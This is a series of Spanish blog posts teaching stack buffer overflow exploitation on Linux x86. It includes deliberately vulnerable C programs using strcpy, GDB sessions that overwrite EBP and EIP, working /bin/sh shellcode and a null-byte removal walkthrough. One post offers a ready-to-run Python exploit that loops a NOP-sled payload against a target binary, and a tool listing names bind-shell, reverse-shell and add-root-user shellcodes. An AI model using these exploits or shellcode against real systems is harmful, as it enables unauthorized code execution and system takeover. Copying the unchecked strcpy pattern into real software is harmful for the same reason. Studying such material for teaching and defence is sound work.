Hace momentos, haciendo unos ejercicios, para mostrar en una charla que debo dar mañana sobre Buffer Overflow, me encontre con el siguiente ejemplo. Es un programita escrito en C, que pide dos argumentos de entrada. El primer argumento no nos permite modificar ni pisar ningún registro. Solo nos deja meter datos en el Stack. El segundo argumento nos permite modificar algunos registros bastante utiles, tales como EAX, EDX, ESI y también EBP, el cual nos puede llevar a modificar el mismo EIP! y apuntarlo a donde nosotros desiemos, como puede ser nuestra shellcode.

Código de fuentes

#include <stdio.h>
#include <string.h>

fvuln(char *temp1, char *temp2)
{
   char name[512];
   strcpy(name, temp2);
   printf("Hello, %s %s\n", temp1, name);
}

int main(int argc, char *argv[])
{
   fvuln(argv[1],argv[2]);
   printf("Bye %s %s\n", argv[1], argv[2]);
   return 0;
}

Como vemos, existe la funcion fvuln, la cual crea un buffer de una logitud de 512 bytes, y utiliza la función altamente vulnerable strcpy. Sobre aqui trabajaremos.

La acción

Como primer punto debemos compilar este pequeño programa utilizando gcc (yo utilizo la versión 4.4.2 – el cual no utiliza cookies, ni nada de ello).

Bien ahora solo nos queda abrir GDB (o el debugger que mas les guste), y comenzar a trabajar (tengamos en cuenta que esto esta recontra hardcodeado). Y desensamblamos main y fvuln:

(gdb) disas main
Dump of assembler code for function main:
0x08048412 :   push   ebp
0x08048413 :   mov    ebp,esp
0x08048415 :   and    esp,0xfffffff0
0x08048418 :   sub    esp,0x10
0x0804841b :   mov    eax,DWORD PTR [ebp+0xc]
0x0804841e :   add    eax,0x8
0x08048421 :   mov    edx,DWORD PTR [eax]
0x08048423 :   mov    eax,DWORD PTR [ebp+0xc]
0x08048426 :   add    eax,0x4
0x08048429 :   mov    eax,DWORD PTR [eax]
0x0804842b :   mov    DWORD PTR [esp+0x4],edx
0x0804842f :   mov    DWORD PTR [esp],eax
0x08048432 :   call   0x80483d4 
0x08048437 :   mov    eax,DWORD PTR [ebp+0xc]
0x0804843a :   add    eax,0x8
0x0804843d :   mov    ecx,DWORD PTR [eax]
0x0804843f :   mov    eax,DWORD PTR [ebp+0xc]
0x08048442 :   add    eax,0x4
0x08048445 :   mov    edx,DWORD PTR [eax]
0x08048447 :   mov    eax,0x804853e
0x0804844c :   mov    DWORD PTR [esp+0x8],ecx
0x08048450 :   mov    DWORD PTR [esp+0x4],edx
0x08048454 :   mov    DWORD PTR [esp],eax
0x08048457 :   call   0x804830c

0x0804845c :   mov    eax,0x0
0x08048461 :   leave
0x08048462 :   ret
End of assembler dump.

(gdb) disas fvuln
Dump of assembler code for function fvuln:
0x080483d4 :  push   ebp
0x080483d5 :  mov    ebp,esp
0x080483d7 :  sub    esp,0x218
0x080483dd :  mov    eax,DWORD PTR [ebp+0xc]
0x080483e0 :  mov    DWORD PTR [esp+0x4],eax
0x080483e4 :  lea    eax,[ebp-0x208]
0x080483ea :  mov    DWORD PTR [esp],eax
0x080483ed :  call   0x80482fc 
0x080483f2 :  mov    eax,0x8048530
0x080483f7 :  lea    edx,[ebp-0x208]
0x080483fd :  mov    DWORD PTR [esp+0x8],edx
0x08048401 :  mov    edx,DWORD PTR [ebp+0x8]
0x08048404 :  mov    DWORD PTR [esp+0x4],edx
0x08048408 :  mov    DWORD PTR [esp],eax
0x0804840b :  call   0x804830c

0x08048410 :  leave
0x08048411 :  ret
End of assembler dump.
(gdb) 

Como vemos en 0x080483ed de fvuln hace un call la función strcpy, ya sabemos de que podemos vulnerarlo!.
Vamos a ejecutarlo, e intentaremos de ver que registros podemos escribir (para ahorrar tiempo les digo que a 520 caracteres el programa cae y pisa el registr que nos interesa EBP – Prueben lo que quieran, que EIP no es accesible directamente :P ).

(gdb) r `python -c 'print "\x41"*520+"\x42\x42\x42\x42"'`
Program received signal SIGSEGV, Segmentation fault.
0xb7ef72b0 in strcpy () from /lib/libc.so.6

(gdb) i r
eax            0xbfffea90       0xbfffea90
ecx            0xf78f118a       0xf78f118a
edx            0x0      0x0
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffea70       0xbfffea70
ebp            0x42424242       0x42424242
esi            0xbfffea8f       0xbfffea8f
edi            0x0      0x0
eip            0xb7ef72b0       0xb7ef72b0 
eflags         0x10246  [ PF ZF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Como vemos directamente no podemos sobreescribir ningún registro!, a excepto de EBP.

Bien el Extended Base Pointer puede llevarnos a ganar nuestra preciada shell. Lo que sucede es que cuando se ingresa a una función (fvuln en este caso), el programa debe saber donde se encontraba anteriormente para poder continuar. Entonces ese valor se pushea al stack y se levanta como EIP al salir del mismo. Nosotros podemos pisar EBP, luego pushear al stack un EIP falso y asi lograr nuestro objetivo. Vamos a poner un breakpoint en 0x080483f2 y ejecutamos pasandole 520 “\x41″ como padding, “\x42\x42\x42\x42″ como EBP y “\xff\xff\xff\xff” como EIP falso.Veamos que sucede:

(gdb) break *0x080483f2
Breakpoint 1 at 0x80483f2
(gdb) r a `python -c 'print "\x41"*520+"\x42\x42\x42\x42"+"\xff\xff\xff\xff"'`
(gdb) s
Single stepping until exit from function fvuln,
which has no line number information.
Hello, e/tty0/Security/Insecure-Programming/a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

Program received signal SIGSEGV, Segmentation fault.
0xffffffff:     Error while running hook_stop:
Cannot access memory at address 0xffffffff
0xffffffff in ?? ()
(gdb) i r
eax            0x243    0x243
ecx            0xbfffea58       0xbfffea58
edx            0xb7fc7320       0xb7fc7320
ebx            0xb7fc5ff4       0xb7fc5ff4
esp            0xbfffec90       0xbfffec90
ebp            0x42424242       0x42424242
esi            0x0      0x0
edi            0x0      0x0
eip            0xffffffff       0xffffffff
eflags         0x10292  [ AF SF IF RF ]
cs             0x73     0x73
ss             0x7b     0x7b
ds             0x7b     0x7b
es             0x7b     0x7b
fs             0x0      0x0
gs             0x33     0x33

Si prestan atención, habrán notado el siguiente mensaje: Cannot access memory at address 0xffffffff por lo cual quiere decir, que en algún momento el registro EIP tuvo el valor 0xffffffff que fue uno de los valores que le pasamos en el string que inyectamos. Bien!, eso era lo que buscabamos. Hagamos un backtrace para ver que es lo que hay:

(gdb) bt
#0  0xffffffff in ?? ()
#1  0xbfffef00 in ?? ()
#2  0xbfffef2d in ?? ()
#3  0x0804848b in __libc_csu_init ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)

Era como pensabamos, el EIP en algún momento apunto a 0xffffffff. La cual es una posición de memoria inexistente y combinado con el overflow hiso crashear al programa.
Veamos la memoria, a ver si encontramos alguna otra cosa interesante:

(gdb) x/700h $esp
0xbfffef10:     0x6e49  0x6573  0x7563  0x6572  0x502d  0x6f72  0x7267  0x6d61
0xbfffef20:     0x696d  0x676e  0x612f  0x6f2e  0x7475  0x6100  0x4100  0x4141
0xbfffef30:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef40:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef50:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef60:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef70:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef80:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffef90:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbfffefa0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141

Aqui tenemos los 0x41 (“A” en hexadecimal), que hemos pasado como padding, podriamos reemplazar estos "\x41", por unos NOPs (0x90), y poner nuestra shellcode alli, para que EIP apunte a ella y nos regale una shell. La shellcode que voy a utilizar es para Linux x86, ejecuta /bin/sh y tiene una longitud de 24 bytes. Es la siguiente:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Ahora que ya tenemos nuestra shellcode podemos seguir armando nuestro string. El formato que vamos a utilizar va a ser:

496 bytes de NOP + 24 bytes de Shellcode + EBP + EIP = 520 Bytes

Como vimos en el punto anterior los "\x41" comienzan a partir de la posicion 0xbfffef30. Entonces alli deberia apuntar nuestro EIP. Vamos a ejecutar y ver que sucede:

(gdb) r a `python -c 'print "\x90"*496+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" +"\x42\x42\x42\x42"+"\x30\xef\xff\xbf"'`
Hello, e/tty0/Security/Insecure-Programming/a.out ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS�ᙰ̀BBBB0���
Executing new program: /bin/bash
sh-4.0$ 

Y bien! hemos conseguido, la shell. :D La verdad esta técnica esta buena para todos aquellos casos en los cuales no podemos escribir EIP directamente, si utilizamos ASLR, podriamos bruteforcearlo metiendolo en un bucle while, hasta que en algún momento caiga donde esta nuestra shellcode. Esto va a depender del básico principio de entropia. Dependiendo de nuestra memoria virtual, entre otras cosas. Espero que les haya gustado.

Tags: , , , , , ,

En una shellcode los bytes Null (0×00), son tomados como final string, haciendo que una shellcode stopee (o se pare), este es un ejemplo hipotetico que no sirve para nada, pero queria mostrar como podemos eliminarlos, así que espero que no tomen esto como un tutorial sobre como escribir shellcodes, simplemente tenia ganas de mostrar esto y punto.

En un principio tenemos las siguientes instrucciones en Ensamblador para Intel x86:

SEGMENT .text
 mov eax, 4             ; put the value 4 into eax (syscall number of write)
 mov ebx, 1             ; put the value 1 into ebx (stdout, int fd)
 mov ecx, message       ; put a pointer to message in ecx
 mov edx, 12            ; put the value 29 into edx (size_t len)
 int 80h                ; enter kernel mode

 mov eax, 1             ; put the value 1 into eax (syscall number of exit)
 mov ebx, 0             ; put the value 0 into ebx (int status)
 int 80h                ; enter kernel mode

 message db 'Game Over?', 7, 10

Si analizamos instrucción por instrucción, vemos que nuestro programa solamente imprime el mensaje “Game Over” por la pantalla (STDOUT). ¿Como lo hace?.

mov eax, 4

En esta instrucción movemos el valor 4 dentro de el registro de proposito general EAX, en este registro debe posicionarse el número o codigo de llamada al sistema que nosotros queremos realizar, en este caso la syscall 4 es write, que simplemente escribe lo que nosotros le decimos.

mov ebx, 1

Para que la syscall sepa que hacer al escribir el mensaje, debemos decirle que el mismo debe salir por la salida estandar o STDOUT (Standart Output), para ello posicionamos el valor 1, que significa STDOUT en el registro EBX.

mov ecx, message

Nosotros hemos definido un mensaje en la última línea de nuestro programa:

message db 'Game Over?', 7, 10

.
Por lo cual en esta instrucción movemos nuestro mensaje al registro de proposito general ECX.

mov edx, 12

Aquí le decimos el ultimo parametró que necesita la syscall write, la longitud de la cadena que queremos escribir, asi que nuestra syscall quedaria mas o menos asi:

write(STDOUT, STRING, LENG)

.
STDOUT, STRING, y LENG, debemos proporsionarlo moviendo estos valores en los registros, ya que sabemos que el registro que contiene el numero de llamada al sistema es EAX, por lo cual el resto de argumentos debe colocarse en el resto de registros generales.

 int 80h

El procesador trabaja utilizando un sistema de rings, los rings definen los permisos con los que se puede acceder a los recursos, el usuario, trabaja en un ring 3 generalmente, teniendo que producir llamadas al sistema para hacer que algún tipo de evento se produsca (cambiar de directorio, reiniciar, crear un archivo), aquí nosotros hemos preparado los registros para producir la syscall write, y ahora solamente nos quedaría cambiar al kernel mode (supervisor o ring 0), haciendolo con la instrucción int 80h.
En este momento hemos escrito por la salida standart, el mensaje que hemos definido nosotros (‘Game Over’). Ahora solo nos resta salir limpiamente.

mov eax, 1

La syscall tal vez mas simple sea exit, su código es 1, entonces para producirla movemos 1 al registro eax.

mov ebx, 1

Ahora debemos mover un valor entero dentro del registro EBX, que sera el estado de salida, nosotros movemos 1 dentro de EBX.

int 80h

Y cambiamos a kernel mode con la intrucción int 80h. Ya hemos finalizado limpiamente.

Ahora si compilamos esto, podremos ver que lo aquí explicado sucede por su pantalla.

$: nasm -f elf write
$: ld -o write write.o
$: ./write
Game Over

¿Sencillo verdad?, Bien si quisieramos utilizar esto como shellcode no nos serviria demasiado, ya que si miramos el binario con objdump se encuentra lleno de nulls, veamoslo:

$: objdump -d write
write:     file format elf32-i386
Disassembly of section .text:

08048060 :
 8048060:       b8 04 00 00 00          mov    $0x4,%eax
 8048065:       bb 01 00 00 00          mov    $0x1,%ebx
 804806a:       b9 82 80 04 08          mov    $0x8048082,%ecx
 804806f:       ba 1d 00 00 00          mov    $0x1d,%edx
 8048074:       cd 80                   int    $0x80
 8048076:       b8 01 00 00 00          mov    $0x1,%eax
 804807b:       bb 00 00 00 00          mov    $0x0,%ebx
 8048080:       cd 80                   int    $0x80

08048082 :
 8048082:       6b 65 72 6e             imul   $0x6e,0x72(%ebp),%esp
 8048086:       65                      gs
 8048087:       6c                      insb   (%dx),%es:(%edi)
 8048088:       65 64 3a 20             cmp    %fs:%gs:(%eax),%ah
 804808c:       61                      popa
 804808d:       72 65                   jb     80480f4 
 804808f:       20 79 6f                and    %bh,0x6f(%ecx)
 8048092:       75 20                   jne    80480b4 
 8048094:       6b 65 72 6e             imul   $0x6e,0x72(%ebp),%esp
 8048098:       65                      gs
 8048099:       6c                      insb   (%dx),%es:(%edi)
 804809a:       65                      gs
 804809b:       64                      fs
 804809c:       3f                      aas
 804809d:       07                      pop    %es
 804809e:       0a                      .byte 0xa

Si miramos bien tenemos unos cuantos null, en las siguientes instrucciones:

mov    $0x4,%eax
mov    $0x1,%ebx
mov    $0x1d,%edx
mov    $0x1,%eax
mov    $0x0,%ebx

Esto sucede por que estamos moviendo valores muy pequeños dentro de registros muy grandes ya que EAX, EBX, EDX son registros de 32 bits, por suerte existen “subregistros” mas pequeños, AX, BX, y DX, que son de 16 bits, que a su vez se subdividen en AH (H de Hight), AL (L de Low), BH, BL, DH, DL. Lo que podemos hacer es modificar nuestro código en Ensamblador, y mover a “subregistros” más pequeños:

SEGMENT .text mov al, 4 ; put the value 4 into eax (syscall number of write) mov bl, 1 ; put the value 1 into ebx (stdout, int fd) mov ecx, message ; put a pointer to message in ecx mov dl, 12 ; put the value 29 into edx (size_t len) int 80h ; enter kernel mode mov ax, 1 ; put the value 1 into eax (syscall number of exit) mov bl, 1 ; put the value 0 into ebx (int status) int 80h ; enter kernel mode message db 'Game Over?', 7, 10

Compilamos esto y lo ejecutamos

$: nasm -f elf write
$: ld -o write write.o
$: ./write
Game Over

Y efectivamente funciona y bién ahora si hacemos un objdump:

$: objdump -d write write: file format elf32-i386 Disassembly of section .text: 08048060 : 8048060: b0 04 mov $0x4,%al 8048062: b3 01 mov $0x1,%bl 8048064: b9 75 80 04 08 mov $0x8048075,%ecx 8048069: b2 0c mov $0xc,%dl 804806b: cd 80 int $0x80 804806d: 66 b8 01 01 mov $0x1,%ax 8048071: b3 01 mov $0x1,%bl 8048073: cd 80 int $0x80 08048075 : 8048075: 47 inc %edi 8048076: 61 popa 8048077: 6d insl (%dx),%es:(%edi) 8048078: 65 20 4f 76 and %cl,%gs:0x76(%edi) 804807c: 65 gs 804807d: 72 3f jb 80480be 804807f: 07 pop %es 8048080: 0a .byte 0xa

Y nuestros NULL han desaparecido, también podemos aplicar otras técnicas como XOR, así de esta forma convertimos en uno aquellas instrucciones que nos producen cero. Nuestro OPCode queda reducido a:

"\xb0\x04\xb3\x01\xb9\x75\x80\x04\x08\xb2\x0c\xcd\x80"
"\x66\xb8\x01\x01\xb3\x01\xcd\x80\x47\x61\x6d\x65\x20
"\x4f\x76\x65\x72\x3f\x07\x0a"

Podemos embeber esto dentro de un programita en C, para probar si funciona:

char scode[] = "\xb0\x04\xb3\x01\xb9\x75\x80\x04\x08"
               "\xb2\x0c\xcd\x80\x66\xb8\x01\x01\xb3"
               "\x01\xcd\x80\x47\x61\x6d\x65\x20\x4f"
               "\x76\x65\x72\x3f\x07\x0a";

int main() {
  int *ret;
  ret = (int *)&ret;
  (*ret) = (int)scode;
}

Compilamos y ejecutamos!

$: gcc scode.c -o scode
$: ./scode
Game Over

Bueno espero que les halla gustado!, nos vemos en la próxima!.
~

Tags: , , , , , ,

Hoy por la mañana realize este vidéo en el que muestro como explotear un bug de Buffer Overflow, en un programa escrito en C vulnerable, al hacer uso de la función strcpy y por ende, no validad los datos de entrada.

El código de fuentes del programa vulnerable es:

#include <stdio.h>
#include <stdlib.h>

int main( int argc, char *argv[] ) {
        char buffer[1024];
        if ( argc != 2 ) {
                printf("Uso: %s argumenton", argv[0] );
                return( -1 );
        }

        strcpy( buffer, argv[1]);
        printf( "Argumento copiadon" );

        return(0);
}

Y la shellcode que utilize para Linux x86 (ejecuta /bin/sh – 24 bytes) es:

char shellcode[] =
"\x99"                         // cltd
"\x31\xc0"                     // xor    %eax,%eax
"\x52"                         // push   %edx
"\x68\x6e\x2f\x73\x68"         // push   $0x68732f6e
"\x68\x2f\x2f\x62\x69"         // push   $0x69622f2f
"\x89\xe3"                     // mov    %esp,%ebx
"\x52"                         // push   %edx
"\x53"                         // push   %ebx
"\x89\xe1"                     // mov    %esp,%ecx
"\xb0\x0b"                     // mov    $0xb,%al
"\xcd\x80";                    // int    $0x80

int main() {
        void (*p)();
        p = (void *)&shellcode;
        printf("Lenght: %d\n", strlen(shellcode));
        p();
}

Pueden utilizar el siguiente exploit (que escribi hace un momento en Python), para obtener el mismo resultado:

#!/usr/bin/env python
####################################################
# ABO2 Exploit |  June 06 2009                     #
# Tested on ArchLinux - Kernel 2.6.29 - i686       #
#                                                  #
# Developed by _tty0                               #
# tty0 <at> codigounix.com.ar                      #
# http://www.codigounix.com.ar/                    #
#                                                  #
# Usage: $> pyhon exploit-abo2.py binary           #
####################################################
import os
import sys
import time

class Exploit:
   """Exploit the indicate programa"""

   def __init__(self):
      if len(sys.argv) <> 2:
         print "\n[*] Usage: python exploit-abo2.py /path/binary\n"
         exit()
      else:
         self.arg2=sys.argv[1]
         # Command=/bin/sh Size=24 bytes Bind=No         
         self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
                           "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
                           "\x52\x53\x89\xe1\xb0\x0b\xcd\x80")                    

         self.payload  = '\x41'*1036            # Padding 0x41 (A)
         self.payload += '\x70\x9b\x99\xbf'     # Return Address -> 0xbf999b70
         self.payload += '\x90'*10000           # 0x90 (NOP) x 10000

   def loop(self):
      print "\n[+] Starting Explotation...\n"
      time.sleep(2)

      while True:
         os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
   print "\n[*] "+"="*40
   print "[*] Exploit by _tty0"
   print "[*] http://wwww.codigounix.com.ar/"
   print "[*] tty0 <at> codigounix.com.ar"
   print "[*] "+"="*40

   union=Exploit()
   conector=union.loop()
exit()
# EOF

Tags: , , , , , , ,

Demostración de la explotación de un ejemplo de Buffer Overflow , en el que se gana una Shell (/bin/sh). En este ejemplo el stack no se encuentra randomizado, cosa que seteamos con:

root[at]rondamon [~]~> sysctl kernel.randomize_va_space=0

El codigo fuente (ANSI C):

/*filename: pintar.c*/
/*Buffer Overflow Example*/

#include <stdio.h>
int main(int argc, char **argv)
{
                char buf[128
];
                memset(buf, (char)0, sizeof(buf));

                if (argc == 2)
                {
                        strcpy(buf, argv[1]);
                }

                printf("Pintar : %s\n", buf);
                printf("Buffer: %p\n", buf) ;
                printf("Otro: %p\n", argv[1]);
}

Compilamos el codigo de fuente, claramente vulnerable por la función strcpy(), con GCC:

facundo[at]rondamon [~]~> gcc -fno-stack-protector pintar.c -o pintar

Una vez compilado comprobamos que el programa sea vulnerable:

facundo[at]rondamon [~]~> ./pintar `python -c 'print "\x41"*200'` Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Buffer: 0xbfffef74 Violación de segmento

Iniciamos GDB (The Gnu Debugger):

facundo[at]rondamon [~]~> gdb pintar
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type
"show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
gdb$ file pintar

Una vez iniciado GDB vamos a analizar un poquito esto.

gdb$ r `python -c 'print "\x41"*128'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()

El programa cae, lo que hacemos con \x41 (A en hexadecimal), es imprimir 128 veces la letra A. Provocando el overflow.

Veamos un poquito los registros:

EAX: 00000011
EBX: B7FD2FF4
ECX: BFFFF000
EDX: B7FD40F0
ESI: 080484D0
EDI: 08048350
EBP: BFFFF0D8
ESP: BFFFF000
EIP: 41414141
CS: 0073
DS: 007B
ES: 007B
FS: 0000
GS: 0033
SS: 007B

Como vemos hay algo muy interesante aqui, y es el registro EIP (Extended Instruction Pointer – Puntero extendido de instrucciones ) Este registro lo que hace es almacenar la próxima dirección de memoria que sera ejecutada.

Por lo cual, si podemos manipular el EIP, podemos hacer que apunte a donde nosotros hemos intruducido nuestro código arbitrario, cambiando el RET (dirección de retorno) a donde nosotros queramos.

Separemos un poco las cosas, para ver que parte de lo que nosotros intruducimos, se refiere al EIP.

gdb$ r `python -c 'print "\x41"*24+"\x90"*4+"\x41"*100'`
Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Buffer: 0xbfffefe4
Otro: 0xbffff2a0

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x90909090
0x90909090 in ?? ()

Lo que hicimos fue imprimir  “\x41″ unas 24 veces, “\x90″ unas 4 veces, y otra vez “\x41″ pero por 100 veces.

Si usamos un poquíto las matemáticas podemos hacer esta simple suma:

24 bytes + 4 bytes + 100 bytes = 128 bytes

Como podemos ver, los “\x90″ que introducimos representan al registro EIP.

Por lo cual nuestro código arbitrario tendra el siguiente formato:

CARACTERES + DIRECCION DE RETORNO + NOP + SHELLCODE

De esta manera, las A se utilizaran para llenar la primera parte del buffer, la dirección de retorno apuntara a donde se introducen nuestros “\x90″ o mejor llamados NOP y una vez ejecutados los NOP, llegaran a nuestra shellcode, esta se ejecutara y ganaremos el acceso a la shell.

NOP en Ensamblador es un No Operation , esta instrucción le dice al procesador que avanze un ciclo sin hacer nada. Básicamente lo que hacemos es lo siguiente:

No Operation

Funcionamiento de la inyección de código

Se debe recordar que la memoria solo puede ser almacenada en multiplos de

“word”. Una word en nuestro caso es 4 bytes, o 32 bits. Por lo tanto 12 bytes ocupan 3 word, 5 bytes ocupan 2 word y nuestro buffer de 128 bytes ocupa 32 words.

Vamos a comenzar a explotear esto, busquemos alguna shellcode acorde a nustro sistema (en mi caso la arquitectura es x86).

facundo[at]rondamon [~] $~> rasc -L
arm.linux.binsh 47 Runs /bin/sh
arm.linux.suidsh 67 Setuid and runs /bin/sh
arm.linux.bind 203 Binds /bin/sh to a tcp port
armle.osx.reverse 151 iPhone reverse connect shell to HOST
dual.linux.binsh 99 x86/ppc MacOSX /bin/sh shellcode
dual.osx.binsh 121 Runs /bin/sh (works also on x86) (dual)
mips.linux.binsh 87 Runs /bin/sh (tested on loongson2f).
ppc.osx.adduser 219 Adds a root user named 'r00t' no pass.
ppc.osx.binsh 152 Executes /bin/sh
ppc.osx.binsh0 72 Executes /bin/sh (with zeroes)
ppc.osx.bind4444 224 Binds a shell at port 4444
ppc.osx.reboot 28 Reboots the box
ppc.bsd.binsh 119 Runs /bin/sh
sparc.linux.binsh 216 Runs /bin/sh on sparc/linux
sparc.linux.bind4444 232 Binds a shell at TCP port 4444
x64.linux.binsh 46 Runs /bin/sh on 64 bits
x86.bsd.binsh 46 Executes /bin/sh
x86.bsd.binsh2 23 Executes /bin/sh
x86.bsd.suidsh 31 Setuid(0) and runs /bin/sh
x86.bsd.bind4444 104 Binds a shell at port 4444
x86.bsdlinux.binsh 38 Dual linux/bsd shellcode runs /bin/sh
x86.freebsd.reboot 7 Reboots target box
x86.freebsd.reverse 126 Reboots target box
x86.linux.adduser 88 Adds user 'x' with password 'y'
x86.linux.bind4444 109 Binds a shell at TCP port 4444
x86.linux.binsh 24 Executes /bin/sh
x86.linux.binsh1 31 Executes /bin/sh
x86.linux.binsh2 36 Executes /bin/sh
x86.linux.binsh3 50 Executes /bin/sh or CMD
x86.linux.udp4444 125 Binds a shell at UDP port 4444
x86.netbsd.binsh 68 Executes /bin/sh
x86.openbsd.binsh 23 Executes /bin/sh
x86.openbsd.bind6969 147 Executes /bin/sh
x86.osx.binsh 45 Executes /bin/sh
x86.osx.binsh2 24 Executes /bin/sh
x86.osx.bind4444 112 Binds a shell at port 4444
x86.solaris.binsh 84 Runs /bin/sh
x86.solaris.binshu 84 Runs /bin/sh (toupper() safe)
x86.solaris.bind4444 120 Binds a shell at port 4444
x86.w32.msg 245 Shows a MessageBox
x86.w32.cmd 164 Runs cmd.exe and ExitThread
x86.w32.adduser 224 Adds user 'x' with password 'y'
x86.w32.bind4444 345 Binds a shell at port 4444
x86.w32.tcp4444 312 Binds a shell at port 4444

Bien aquí hay una interesante es: x86.linux.binsh y pesa solamente 24 bytes y como toda toda shellcode mientras mas corta mejor, esta viene genial. Su acción es ejecutar la shell  /bin/sh. Veamos la shellcode:

facundo[at]rondamon [~]~>
rasc -i x86.linux.binsh -e
"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

Lo que en formato C seria:

unsigned char shellcode[] = {
0x41, 0x31, 0xc0, 0x50, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f,
0x62, 0x69, 0x6e, 0x89, 0xe3, 0x50, 0x53, 0x89, 0xe1, 0x99, 0xb0,
0x0b, 0xcd, 0x80,
};

Bien, ya tenemos la shellcode ahora vamos a ver como podemos lograr la shell, volvemos a gdb. Vamos a modificar la parte correspondiente al registro EIP (Dir. de Retorno), para ver las cosas mas claras a la hora de examinar la memoria lo remplazamos por “\x61″ letra “a” (minuscula) en hexadecimal.

(gdb) r `python -c 'print "\x41"*24+"\x61\x61\x61\x61"+"\x90"*75+"\x41\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"'`

Pintar : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPh//shh/bin
Buffer: 0xbfffefe4
Otro: 0xbffff2a4

Program received signal SIGSEGV, Segmentation fault.
0x90909090:     Error while running hook_stop:
Cannot access memory at address 0x61616161
0x90909090 in ?? ()

Si vemos el registro EIP:

EIP: 61616161

Bien, vemos que EIP se sigue sobreescribiendo, ahora deberiamos conocer la posición de memoria donde comienzan nuestros NOP, para poder apuntar la dirección de retorno que pisamos a los NOP.

Inspeccionemos la memoria, especificamente al registro ESP (Extended Stack Pointer ), el cual es un puntero a la parte superior de la pila.

<(gdb) x/400h $esp

0xbffff270:     0x6361  0x6e75  0x6f64  0x492f  0x666e  0x726f  0xc36d  0x74a1
0xbffff280:     0x6369  0x2f61  0x7542  0x6666  0x7265  0x4f20  0x6576  0x6672
0xbffff290:     0x6f6c  0x2f77  0x6a45  0x6d65  0x6c70  0x736f  0x702f  0x6e69
0xbffff2a0:     0x6174  0x0072  0x4141  0x4141  0x4141  0x4141  0x4141  0x4141
0xbffff2b0:     0x4141  0x4141  0x4141  0x4141  0x4141  0x4141  0x6161  0x6161
0xbffff2c0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2d0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2e0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff2f0:     0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090  0x9090
0xbffff300:     0x9090  0x9090  0x9090  0x9090  0x9090  0x4190  0xc031  0x6850
0xbffff310:     0x2f2f  0x6873  0x2f68  0x6962  0x896e  0x50e3  0x8953  0x99e1

